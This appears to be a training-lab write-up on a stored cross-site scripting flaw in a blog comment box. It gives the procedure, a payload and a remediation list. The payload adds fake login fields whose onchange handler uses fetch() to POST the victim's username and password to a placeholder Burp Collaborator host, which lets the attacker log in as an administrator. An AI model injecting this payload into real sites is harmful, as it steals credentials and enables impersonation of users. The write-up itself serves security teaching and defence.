SCENARIO

The application contains a stored cross site scripting vulnerability in the comment box functionality as a simulated victim user views all comments after they are posted. We will try to exploit the vulnerability to exfiltrate the victim’s username/password and then use them to impersonate that victim.

**PROCEDURE**

1. Go the vulnerable web applications and open any post.
2. Post a comment with trash data but enter the payload into the comment box.
3. It will force the application to make a POST HTTP request to the BurpSuite’s Collaborator Client.
4. We will get a couple of requests but we need to observe the HTTP request only and we’ll find the username:password there.
5. Copy the username:password from there and try to login.
6. Congratulations, we managed to break in the administrator’s account.

**PAYLOAD**

<input name=username id=username>

<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{

method:'POST',

mode: 'no-cors',

body:username.value+':'+this.value

});">

**REMEDIATION**

1. **Input Validation:** Before storing any user input in the database, validate it thoroughly. Establish strict patterns or values for each input type and reject any data that doesn't fit. This can prevent malicious scripts or unexpected data from being stored in the first place.
2. **Output Encoding:** Whenever the application displays user-generated content, it should safely encode it. Characters that can be interpreted as code in HTML or JavaScript, like <, >, or &, should be rendered as their HTML encoded equivalents, e.g., &lt;, &gt;, and &amp;.
3. **Content Security Policy (CSP):** Implement a robust CSP to prevent the execution of unauthorized scripts. A CSP can significantly reduce the risk of XSS attacks by controlling which scripts are allowed to execute.
4. **Anti-Cross-Site Scripting Libraries:** Use libraries that are designed to prevent XSS by encoding data properly before displaying it.
5. **Avoid Inline Event Handlers:** Like the onchange event used in the payload. Instead, use external scripts to add event listeners to DOM elements. This makes it harder for attackers to inject malicious scripts via event handlers.